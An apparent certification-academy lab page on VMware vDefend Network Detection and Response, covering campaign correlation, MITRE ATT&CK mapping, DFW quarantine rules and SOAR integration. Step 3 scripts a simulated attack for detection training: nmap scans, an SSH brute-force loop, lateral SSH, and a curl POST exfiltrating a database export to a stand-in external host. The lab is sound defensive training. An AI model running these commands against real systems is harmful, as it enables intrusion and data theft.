Academy/VMware vDefend Security for VCF 5.x Administrator (6V0-21.25)/Lab: NDR Campaign Detection, MITRE ATT&CK Correlation & Automated Response
This lab targets VCF 9.0

Lab: NDR Campaign Detection, MITRE ATT&CK Correlation & Automated Response

VCF 9.0Advancedadd-on exams (6V0)vcdx⏱ 120 min

vDefend Network Detection & Response on the Security Services Platform (SSP 5.x; NSX Application Platform in the 4.x line) — campaign correlation of IDS/IPS, NTA and Malware Prevention detections, Impact Score 0–100, MITRE ATT&CK mapping, Connected vs Disconnected mode, automated quarantine via DFW Emergency rules, SIEM/SOAR integration patterns. Exam note: 6V0-21.25 is written for VCF 5.x (NSX 4.2), where NDR ran on the NSX Application Platform; campaign and detection concepts are the same, but UI paths differ from the SSP / VCF 9.0 UI used here.

Objectives

  • Understand NDR architecture: a Security Services Platform / NSX Application Platform feature that aggregates and correlates IDS/IPS, Network Traffic Analysis (NTA) and Malware Prevention detections into campaigns
  • Simulate multi-stage attack behavior that triggers NDR campaign correlation
  • Analyze NDR campaign detection with MITRE ATT&CK tactic/technique mapping
  • Configure automated quarantine response using DFW Emergency category rules
  • Design SIEM/SOAR integration for automated incident response using NSX API
  • Compare NDR behavioral detection with IDS/IPS signature detection for defense-in-depth

Prerequisites

VCF 9.0 with NSX 9.0.x, the Security Services Platform (SSP 5.x) deployed with the NSX Manager onboarded, and the vDefend Firewall with Advanced Threat Prevention licence. NDR is activated in the SSP UI in Connected mode (outbound 443 from the SSP to the vDefend ATP Cloud Service) or in Disconnected mode for air-gapped sites; NDR analytics run on the SSP itself, and the optional NDR Sensor (a passive, out-of-band virtual appliance, SSP 5.2) is needed only to monitor traffic from non-NSX hosts, bare-metal servers and other non-virtualized workloads. IDS/IPS enabled from Lab vdefend-02 and, for anomaly detections, Security Intelligence with Network Traffic Analysis (NTA) activated. 3+ VMs with varied traffic patterns for anomaly generation.

Prior labs: vdefend-01, vdefend-02

Required skills:

  • NSX DFW rule creation and management (from Lab vdefend-01)
  • IDS/IPS concepts (from Lab vdefend-02)
  • MITRE ATT&CK framework fundamentals
  • Network attack lifecycle (reconnaissance, lateral movement, exfiltration)
  • REST API fundamentals for SOAR integration

Lab Environment

VCF 9.0 with NSX overlay networking, IDS/IPS enabled, SSP with NDR and NTA activated. 3 VMs from prior labs (web-01, app-01, db-01). The behavioural baseline belongs to NTA (anomaly detectors on Security Intelligence flow data), which needs a learning period on representative traffic; NDR itself correlates whatever detections arrive. In a lab, rely mainly on IDS/IPS detections (which need no baseline) to produce a campaign.

Tasks

Task 1 NDR Campaign Detection, Correlation & Automated Response

vDefend Advanced Threat Prevention combines several detection technologies — IDS/IPS (signatures), Network Sandboxing / Malware Prevention and Network Traffic Analysis (anomaly detectors such as port scanning, DNS tunnelling and data exfiltration on Security Intelligence flow data) — with the aggregation, correlation and context engines of NDR. NDR does not learn a per-VM baseline itself: it groups related detections into campaigns, maps them to MITRE ATT&CK tactics and techniques and scores each campaign and detection with an Impact Score from 0 to 100. The trade-off: campaigns are post-hoc (not inline blocking) and still need SOC judgement, while NTA's anomaly detectors need a learning period on representative traffic.

Activate and validate NDR — the correlation layer of vDefend ATP that groups IDS/IPS, Network Traffic Analysis and Malware Prevention detections across time and VMs into campaigns with MITRE ATT&CK context and an Impact Score. While IDS/IPS catches known attack signatures (Lab vdefend-02) and NTA surfaces anomalous behaviour, NDR turns many weak signals into one actionable campaign. Together they provide defence-in-depth.

Step 1

Verify NDR prerequisites and activation. Log in to the Security Services Platform UI → System → Platform & Features: the NSX Manager is onboarded and Network Detection and Response shows Activated (activate it there if not). Mode: Connected (the SSP makes outbound 443 connections to the vDefend ATP Cloud Service; NSX Manager itself does not need the egress) or Disconnected for air-gapped sites. Check the connectivity status on the same page; if it fails, verify the SSP's outbound 443 path, DNS resolution and proxy settings. Also confirm IDS/IPS is enabled on the cluster (Lab vdefend-02) and that NTA is activated if you want anomaly detections.

Step 2

Generate representative traffic. From each VM, generate the application's normal traffic so that NTA's anomaly detectors have a reference and the flows show up in Security Intelligence: (a) web-01: repeated HTTP requests to app-01 on port 8080 (every 10 seconds for 10 minutes). (b) app-01: repeated database queries to db-01 on port 5432. (c) All VMs: DNS, NTP and HTTPS to update servers. (d) No VM-to-VM SSH traffic and (e) no outbound data transfers from db-01 — both are used as attack signals later. In a short lab the IDS/IPS detections of the next step are what will populate the campaign; NTA detections need a longer learning window.

Step 3

Simulate multi-stage attack behavior. After baseline, simulate an attack lifecycle from web-01 (simulating a compromised web server): Stage 1 — Reconnaissance (MITRE T1046 Network Service Discovery): nmap -sS app-01 (TCP SYN scan — port scan is anomalous from a web server that normally only talks on port 8080). nmap -sS db-01 (scanning the database server — web-01 has never contacted db-01 before). Stage 2 — Credential Access (MITRE T1110 Brute Force): for i in $(seq 1 20); do ssh -o ConnectTimeout=1 app-01; done (repeated SSH attempts — anomalous: web-01 has never used SSH). Stage 3 — Lateral Movement (MITRE T1021 Remote Services): ssh app-01 'whoami' (successful SSH from web→app — first-ever SSH between these VMs). Stage 4 — Data Staging (MITRE T1005 Data from Local System): scp db-01:/data/export.sql /tmp/ (from app-01 — database content moving from db tier to app tier, anomalous direction). Stage 5 — Exfiltration (MITRE T1048 Exfiltration Over Alternative Protocol): curl -X POST https://external-server.example.com/upload -F 'file=@/tmp/export.sql' (from web-01 — large outbound POST to unknown external server, anomalous).

Step 4

Review the NDR campaign. Wait 5-10 minutes for the detections to be correlated. Security Services Platform UI → Network Detection and Response → Campaigns. NDR should show a campaign grouping the related detections. The campaign view displays: (a) the campaign name and the Impact Score (0–100, higher means more confidence in a real, damaging attack); (b) affected hosts: web-01 (primary), app-01 (lateral-movement target), db-01 (data source); (c) a timeline of the detections; (d) the detection types that contributed (IDS/IPS signature events, NTA anomalies, malware events); (e) MITRE ATT&CK tactics and techniques. If no campaign appears, check the individual detections list — they may not yet be correlated — and confirm IDS/IPS events are reaching the SSP.

Step 5

Deep-dive into the campaign. Open the campaign and examine each detection: (a) Port scan (T1046): NTA port-scan detector (or an IDS/IPS scan signature) on web-01 → app-01/db-01. (b) SSH brute force (T1110): IDS/IPS signature events for repeated SSH failures from web-01. (c) Lateral movement (T1021): first SSH session web-01→app-01 flagged by NTA as a new service between these hosts. (d) Data staging (T1005): unusual db→app data volume (NTA). (e) Outbound exfiltration (T1048): NTA data-exfiltration detector on the large POST to an unknown external IP. Each detection carries its own Impact Score; the campaign score reflects the correlated chain — individually low-impact detections combine into a high-impact campaign, which is NDR's primary value.

Step 6

Configure automated quarantine response. Pre-build the quarantine infrastructure: (a) Create group: NSX Manager → Inventory → Groups → Add 'Quarantine-Group' with no initial members (empty group — VMs added during incidents). (b) Create Emergency DFW rule: Security → Distributed Firewall → Emergency category → Add Policy 'Incident-Response-Quarantine'. Add rules: Rule 1: Source=Quarantine-Group, Dest=Any, Service=Any, Action=Drop, Logging=Enabled. Rule 2: Source=Any, Dest=Quarantine-Group, Service=Any, Action=Drop, Logging=Enabled. Both rules together create a full quarantine — the compromised VM cannot send OR receive traffic. Published but inactive (no VMs in the group yet). The Emergency category ensures quarantine overrides all other DFW rules.

Step 7

Execute manual quarantine for the detected campaign. Based on NDR campaign identifying web-01 as compromised: NSX Manager → Inventory → Groups → Quarantine-Group → Set Members → Add web-01. Verify quarantine effectiveness: (a) From web-01: ping app-01 → should fail (Rule 1 drops outbound). (b) From app-01: ping web-01 → should fail (Rule 2 drops inbound). (c) From app-01: curl http://db-01:5432 → should succeed (app-01 and db-01 are not quarantined, their connectivity is unaffected). (d) Check DFW logs: /var/log/dfwpktlogs.log on web-01's host should show Emergency rule drops. This demonstrates selective quarantine — only the compromised VM is isolated, not the entire segment.

Step 8

Design SIEM/SOAR automated response integration. In production the quarantine should be automated: (a) NDR sends event logs to the SIEM over HTTP(S) when a detection or campaign is created or updated. Configure it in the SSP UI: System → Server Configurations → SIEM Configuration → Add Configuration (type Splunk or Default, endpoint URL and any authentication header such as a Splunk HEC token) (Security Services Platform 5.2 docs, Configure SIEM Integration). DFW packet logs go separately via NSX Manager → System → Settings → Firewall Logs → Syslog and do not carry NDR campaigns. (b) SIEM correlation rule: 'When an NDR campaign Impact Score ≥ 70 AND an affected VM is in production, trigger the SOAR playbook.' (c) The SOAR playbook calls the NSX Policy API to add the VM to Quarantine-Group: PATCH /policy/api/v1/infra/domains/default/groups/Quarantine-Group with the VM's external_id added to the membership expression. (d) SOAR notifies the SOC analyst (PagerDuty/Slack) with campaign details and quarantine confirmation. (e) The analyst reviews the campaign timeline, collects forensic data from the quarantined VM via console, and decides remediation. Document the full API call sequence for the SOAR playbook.

Step 9

Compare NDR with IDS/IPS for defence-in-depth. (a) Role: IDS/IPS = inline signature matching per flow; NTA = anomaly detectors on flow data; NDR = aggregation and correlation of all of these into campaigns with MITRE ATT&CK context. (b) Coverage: IDS/IPS catches known attacks with high precision; NTA surfaces novel behaviour with more false positives; NDR raises the signal by correlating several weak detections. (c) Latency: IDS/IPS blocks in real time; NDR campaigns are post-hoc (minutes). (d) Dependencies: IDS/IPS needs signature updates; NTA needs a learning period; NDR needs the SSP in Connected or Disconnected mode. (e) Tuning: signature exclusions for IDS/IPS; detector exclusions for NTA; Impact Score thresholds for what the SOC acts on. Defence-in-depth: use all three — IDS/IPS for known-threat prevention, NTA for anomaly detection, NDR for correlation, triage and quarantine automation. Document this layered approach.

Step 10

Release quarantine and document findings. Remove web-01 from Quarantine-Group: NSX Manager → Groups → Quarantine-Group → Set Members → remove web-01. Verify: connectivity restored — web-01 can reach app-01 on port 8080. Document: (a) NDR campaign detection timeline (time from first anomalous event to campaign correlation). (b) MITRE ATT&CK techniques detected and their Impact Scores. (c) Quarantine effectiveness: time from quarantine action to full network isolation. (d) False positive assessment: any legitimate activities that NDR flagged as anomalous? (e) Operational recommendations: baseline period, alert routing, quarantine procedures, SOAR integration requirements.

Validation Gate

Check: NDR campaign detection and automated response validated end-to-end

Expected: NDR campaign detected with multi-stage correlation across 5 MITRE ATT&CK techniques, Impact Score reflecting the correlated chain, quarantine rule effectively isolating compromised VM while preserving other connectivity, SIEM/SOAR integration architecture documented with API call sequence, defense-in-depth comparison (NDR vs IDS/IPS) documented

Common Errors

NDR not activated or SSP connectivity check failing — no campaigns
Fix: NDR runs on the Security Services Platform. Check: (1) SSP UI → System → Platform & Features → Network Detection and Response is Activated and the NSX Manager is onboarded. (2) In Connected mode, outbound 443 from the SSP to the vDefend ATP Cloud Service (firewall, DNS, proxy). (3) For air-gapped sites, activate NDR in Disconnected mode instead — NDR analytics run on the SSP; the optional NDR Sensor appliance only adds out-of-band monitoring of non-NSX and non-virtualized workloads. (4) Confirm IDS/IPS events are being generated (Lab vdefend-02); without detections there is nothing to correlate.
NDR shows individual detections but no correlated campaign
Fix: Campaign correlation requires: (1) Multiple anomalous events from the same or related VMs within a time window. (2) Events that map to different MITRE ATT&CK tactics (not just the same tactic repeated). (3) Detections actually reaching the SSP — IDS/IPS enabled on the cluster and, for anomaly detections, NTA activated with enough learning time. In lab: ensure simulated attack stages span multiple tactics (Recon → Lateral Movement → Exfiltration), involve multiple VMs and trigger IDS/IPS signatures, since NTA detectors may not yet have a reference.
Quarantine-Group DFW rule doesn't block traffic after adding VM
Fix: Verify: (1) Both inbound and outbound quarantine rules exist (Source=Quarantine-Group, Dest=Any + Source=Any, Dest=Quarantine-Group). A single rule only blocks one direction. (2) Rules are in the Emergency category (evaluated before the Infrastructure, Environment and Application categories; put any required allow rules above the drop rules in the same category). (3) Policy is published (not in draft state). (4) VM is correctly added to the group — check group membership in NSX Manager.
NDR generates false-positive campaigns from legitimate operations
Fix: Common false-positive triggers: (1) Internal vulnerability scanning tools (look like reconnaissance). Solution: create NTA detector exclusions / IDS/IPS signature exclusions for scanner source IPs. (2) Backup traffic (large data transfers that look like exfiltration). Solution: exclude backup server flows in the NTA detector configuration. (3) Infrastructure automation tools (Ansible/Puppet creating new SSH sessions). Solution: let NTA learn with the automation running, or exclude the automation servers in the detector settings.
SOAR API call to add VM to Quarantine-Group fails with 403 Forbidden
Fix: The API service account needs sufficient NSX RBAC privileges: (1) minimum role: 'Security Engineer' (can modify groups). (2) The API path must use the correct policy API format: PATCH /policy/api/v1/infra/domains/default/groups/Quarantine-Group. (3) Include the 'X-Allow-Overwrite: true' header for concurrent modifications. (4) Verify the VM's external_id is correct — use GET /policy/api/v1/infra/realized-state/virtual-machines to find the correct identifier.

Final Validation

NDR campaign detection and automated quarantine response operational

✓ NDR connectivity → NDR Activated on the SSP; connectivity check passing (Connected) or Disconnected mode chosen

✓ Campaign detection → Multi-stage attack campaign detected with MITRE ATT&CK mapping

✓ Impact scoring → Campaign Impact Score (0–100) reflects the correlated chain of detections

✓ Quarantine response → Emergency DFW rules isolate compromised VM while preserving other connectivity

✓ SIEM/SOAR integration → API-based quarantine procedure documented with full call sequence

✓ Defense-in-depth → NDR vs IDS/IPS comparison documented with layered deployment strategy

Cleanup / Restore

• Remove all VMs from Quarantine-Group

• Delete Incident-Response-Quarantine policy from Emergency category (or leave for production use)

• Delete Quarantine-Group if no longer needed

• Close or dismiss the lab campaign in the SSP NDR UI (optional — in lab only)

Design Reflection (VCDX)

NDR represents the most advanced layer of vDefend's defense-in-depth model. In a VCDX defense, NDR demonstrates: (1) Security architecture maturity — you understand that signatures alone are insufficient (zero-day gap). (2) Operational integration — NDR → SIEM → SOAR → DFW quarantine shows end-to-end incident response automation. (3) MITRE ATT&CK alignment — mapping detections to the framework demonstrates structured threat analysis. Key defense question: 'How do you handle NDR false positives without suppressing legitimate threat detection?' Answer: whitelist specific VM pairs/flows for known operational patterns (backup, scanning, automation) rather than disabling NDR detection categories.

Requirements

  • Detect unknown/novel attack campaigns that bypass signature-based IDS/IPS
  • Automated quarantine response within 5 minutes of a campaign crossing the agreed Impact Score threshold
  • MITRE ATT&CK mapping for all detections to support SOC investigation workflow

Constraints

  • NTA anomaly detectors need a learning period on representative traffic; until then campaigns rely on IDS/IPS and malware detections
  • Connected mode sends detection metadata from the SSP to the vDefend ATP Cloud Service — may conflict with data sovereignty requirements; Disconnected mode is the air-gapped alternative
  • NDR generates more ambiguous alerts than IDS/IPS — requires skilled SOC analysts for triage

Assumptions

  • The vDefend ATP Cloud Service is reachable from the SSP (Connected mode) or Disconnected mode has been chosen deliberately
  • SOC team can triage NDR alerts within 30 minutes during business hours
  • Required management and forensic access to a quarantined VM (for example SOC jump host, backup or EDR agent) is permitted by explicit allow rules placed above the quarantine drop rules inside the Emergency category; Emergency is evaluated before Infrastructure, so Infrastructure rules cannot override the quarantine

Risks

  • Automated quarantine isolates a VM running a critical application — causes business impact. Mitigation: quarantine automation only for non-production VMs; production quarantine requires SOC analyst confirmation before execution.
  • NTA's learned reference becomes stale after major application changes — increased anomaly false positives feeding NDR. Mitigation: review NTA detector exclusions and allow re-learning after significant infrastructure changes (new applications, migrations, topology changes).
  • Attacker evades anomaly detection by mimicking normal traffic (low-and-slow attack). Mitigation: layer with IDS/IPS signatures and Malware Prevention (detect known patterns regardless of behaviour) and run periodic threat hunting.

Self-Assessment Discussion Prompts

  1. How do you balance automated quarantine speed with the risk of isolating legitimate VMs?
  2. When should you run the SSP in Connected mode versus Disconnected mode for NDR, and what are the data sovereignty implications?
  3. How does NDR detection latency (minutes for ML correlation) compare with IDS/IPS detection (inline, real-time)?
  4. What organizational capabilities (SOC maturity, incident response process) are prerequisites for effective NDR deployment?

Extensions

Build a complete SOAR playbook that automates: NDR alert → SIEM enrichment → quarantine → SOC notification → evidence collection

Configure NDR whitelists for known operational patterns (backup traffic, vulnerability scanning, configuration management) to reduce false positives

Design a graduated response model on the Impact Score: low → alert only, medium → alert + investigation, high (e.g. ≥ 70) → alert + automatic quarantine

Integrate NDR with VCF Operations to correlate security events with infrastructure health (e.g., CPU spike on compromised VM)

⚠ Known Pitfalls

Expecting NDR to produce campaigns on its own — NDR correlates detections from IDS/IPS, NTA and Malware Prevention; with none of those activated there is nothing to correlate, and NTA needs a learning period before its anomaly detectors are useful
Automating quarantine for ALL NDR campaigns without an Impact Score threshold — low-impact campaigns are frequently benign. Only automate quarantine above an agreed Impact Score (for example ≥ 70) and review the rest manually.
Creating quarantine rules with only outbound block (Source=Quarantine-Group → Drop) but forgetting inbound block — the compromised VM can still receive C2 commands. Always block BOTH directions.
Not maintaining NTA/IDS exclusions as the environment changes — new applications, migrations, and infrastructure changes alter traffic patterns. Review NDR exceptions quarterly.
Treating NDR as a replacement for IDS/IPS — NDR correlates detections but cannot block inline like IPS. Use both: IDS/IPS for known-threat prevention, NDR for unknown-threat detection. They are complementary, not alternatives.

References

  • vDefend Security Services Platform 5.x — Network Detection and Response (Overview of NDR; Activate NDR in Connected / Disconnected Mode): techdocs.broadcom.com
  • VCF 9.0 documentation — vDefend Advanced Threat Prevention overview and NSX Application Platform support bundle: https://techdocs.broadcom.com/us/en/vmware-cis/vcf/vcf-9-0-and-later/9-0.html
  • MITRE ATT&CK Framework for Enterprise: attack.mitre.org
  • NSX Policy API Reference — Groups and Security Policies: techdocs.broadcom.com
Was this page useful?
Type to search. ↑ ↓ to move, Enter to open, Esc to close.